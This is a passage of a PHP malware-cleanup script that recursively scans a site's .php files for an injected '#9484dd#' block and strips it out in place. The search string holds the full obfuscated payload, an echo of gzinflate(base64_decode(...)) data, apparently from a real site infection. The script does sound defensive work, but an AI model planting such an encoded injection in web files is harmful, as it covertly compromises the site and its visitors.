'; $find='#9484dd# echo(gzinflate(base64_decode("fVPBjtMwED33L0wOTaItSVrahSV1ERIL4lA4LBLiVKXOODFt7ch22q6g/844jrpVF4gjy5qZ92bejD03TIvGEvvYAA0sHG36s9gX3hoseCuZFUqSCuyKKbUREH0pdhCTX4N9oYmBQrOaUOKM5IYENMg7hwbbarkvti2gN0Cr4CQqFWt3IG3iqZItyMrWZEEyRzhQnBuwGH8dJ2QJx6888unifNCx9eEvKHk5RjwZnBluaF9ZnwEBA5Dlf5iDPBgRj3b0HX+H6Mj/CX+ivxBMWwmGFQ0802vatbFayKqvfUSQNnYJT7g8xWXr8tN5AOZpABJ7PSJdgJONn+s4O5aFdc2WcCAf8BjFufN5e4L4H9iSaJJNpteOpZK2jl5dmzuS3nqlxKXxEw9piHuvt68JrTkcG6HBdN6e0qpPy28PXr8Pagpb0zTMT07AWq80VMicRh8RytXx9/Lh832city5W6NXynSJ96IqrNJJa0C/r7CqXPDo4oaGVjUNlG0Txm6AYUiGwx6f7ArL6ij9joNXB5OK+JnP1xG7G3lWfdACexHOBddOdrevlS5B04zUIKra0jE5iBL1jAm+HrXdokwqFTGa0aC2tnmbpjuz8T+2cZfuU1OrQ9LUzbsNPFLOOLxm46yc8mzGi8ndejqbzm6n2ZvJ7R0v2bClWil8lGSe+joWIV4d8zfdIxKOs25hyGme+ve8+AM="))); #/9484dd# ?> =\'\';?>'; echo findString('./',$find); function findString($path,$find){ $return=''; ob_start(); if ($handle = opendir($path)) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != "..") { if(is_dir($path.'/'.$file)){ $sub=findString($path.'/'.$file,$find); if(isset($sub)){ echo $sub.PHP_EOL; } }else{ $ext=substr(strtolower($file),-3); if($ext=='php'){ $filesource=file_get_contents($path.'/'.$file); $pos = strpos($filesource, $find); if ($pos === false) { continue; } else { //The cleaning bit echo "The string '".htmlentities($find)."' was found in the file '$path/$file and exists at position $pos and has been removed from the source file.
"; $clean_source = str_replace($find,'',$filesource); file_put_contents($path.'/'.$file,$clean_source); } }else{ continue; } } } } closedir($handle); } $return = ob_get_contents(); ob_end_clean(); return $return; } ?>